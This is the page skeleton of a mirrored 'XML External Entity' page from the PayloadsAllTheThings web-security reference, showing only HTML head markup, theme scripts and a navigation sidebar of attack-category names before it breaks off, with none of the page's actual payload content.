mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
7071 lines
208 KiB
HTML
7071 lines
208 KiB
HTML
|
||
<!doctype html>
|
||
<html lang="en" class="no-js">
|
||
<head>
|
||
|
||
<meta charset="utf-8">
|
||
<meta name="viewport" content="width=device-width,initial-scale=1">
|
||
|
||
<meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
|
||
|
||
|
||
|
||
<link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/XXE%20Injection/">
|
||
|
||
|
||
<link rel="prev" href="../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/">
|
||
|
||
|
||
<link rel="next" href="../_LEARNING_AND_SOCIALS/BOOKS/">
|
||
|
||
|
||
<link rel="icon" href="../assets/images/favicon.png">
|
||
<meta name="generator" content="mkdocs-1.5.3, mkdocs-material-9.5.15">
|
||
|
||
|
||
|
||
<title>XML External Entity - Payloads All The Things</title>
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../assets/stylesheets/main.7e359304.min.css">
|
||
|
||
|
||
<link rel="stylesheet" href="../assets/stylesheets/palette.06af60db.min.css">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
|
||
<style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../custom.css">
|
||
|
||
<script>__md_scope=new URL("..",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
</head>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
|
||
|
||
|
||
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
|
||
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
|
||
<label class="md-overlay" for="__drawer"></label>
|
||
<div data-md-component="skip">
|
||
|
||
|
||
<a href="#xml-external-entity" class="md-skip">
|
||
Skip to content
|
||
</a>
|
||
|
||
</div>
|
||
<div data-md-component="announce">
|
||
|
||
</div>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<header class="md-header md-header--shadow" data-md-component="header">
|
||
<nav class="md-header__inner md-grid" aria-label="Header">
|
||
<a href=".." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
||
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
|
||
|
||
</a>
|
||
<label class="md-header__button md-icon" for="__drawer">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z"/></svg>
|
||
</label>
|
||
<div class="md-header__title" data-md-component="header-title">
|
||
<div class="md-header__ellipsis">
|
||
<div class="md-header__topic">
|
||
<span class="md-ellipsis">
|
||
Payloads All The Things
|
||
</span>
|
||
</div>
|
||
<div class="md-header__topic" data-md-component="header-topic">
|
||
<span class="md-ellipsis">
|
||
|
||
XML External Entity
|
||
|
||
</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
<form class="md-header__option" data-md-component="palette">
|
||
|
||
|
||
|
||
|
||
<input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to dark mode" type="radio" name="__palette" id="__palette_0">
|
||
|
||
<label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
|
||
</label>
|
||
|
||
|
||
|
||
|
||
|
||
<input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to light mode" type="radio" name="__palette" id="__palette_1">
|
||
|
||
<label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12c0-2.42-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
|
||
</label>
|
||
|
||
|
||
</form>
|
||
|
||
|
||
|
||
<script>var media,input,key,value,palette=__md_get("__palette");if(palette&&palette.color){"(prefers-color-scheme)"===palette.color.media&&(media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']"),palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent"));for([key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
|
||
|
||
|
||
|
||
<label class="md-header__button md-icon" for="__search">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
|
||
</label>
|
||
<div class="md-search" data-md-component="search" role="dialog">
|
||
<label class="md-search__overlay" for="__search"></label>
|
||
<div class="md-search__inner" role="search">
|
||
<form class="md-search__form" name="search">
|
||
<input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
|
||
<label class="md-search__icon md-icon" for="__search">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z"/></svg>
|
||
</label>
|
||
<nav class="md-search__options" aria-label="Search">
|
||
|
||
<button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z"/></svg>
|
||
</button>
|
||
</nav>
|
||
|
||
</form>
|
||
<div class="md-search__output">
|
||
<div class="md-search__scrollwrap" data-md-scrollfix>
|
||
<div class="md-search-result" data-md-component="search-result">
|
||
<div class="md-search-result__meta">
|
||
Initializing search
|
||
</div>
|
||
<ol class="md-search-result__list" role="presentation"></ol>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
<div class="md-header__source">
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
||
<div class="md-source__icon md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
|
||
</div>
|
||
<div class="md-source__repository">
|
||
GitHub
|
||
</div>
|
||
</a>
|
||
</div>
|
||
|
||
</nav>
|
||
|
||
</header>
|
||
|
||
<div class="md-container" data-md-component="container">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<main class="md-main" data-md-component="main">
|
||
<div class="md-main__inner md-grid">
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
|
||
<label class="md-nav__title" for="__drawer">
|
||
<a href=".." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
||
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
|
||
|
||
</a>
|
||
Payloads All The Things
|
||
</label>
|
||
|
||
<div class="md-nav__source">
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
||
<div class="md-source__icon md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
|
||
</div>
|
||
<div class="md-source__repository">
|
||
GitHub
|
||
</div>
|
||
</a>
|
||
</div>
|
||
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href=".." class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Payloads All The Things
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CONTRIBUTING/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CONTRIBUTING
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key Leaks
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
API Key Leaks
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../API%20Key%20Leaks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key Leaks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS Amazon Bucket S3
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
AWS Amazon Bucket S3
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../AWS%20Amazon%20Bucket%20S3/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Amazon Bucket S3 AWS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Account Takeover
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Account%20Takeover/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Argument Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Argument Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Argument%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Argument Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Business Logic Errors
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CICD
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CICD
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CICD/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CI/CD attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CORS Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CRLF Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CRLF Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CRLF%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Carriage Return Line Feed
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSRF Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_11">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CSRF Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CSRF%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross-Site Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_12">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CSV Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CSV%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE Exploits
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_13">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE Exploits
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CVE%20Exploits/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Common Vulnerabilities and Exposures
|
||
</span>
|
||
|
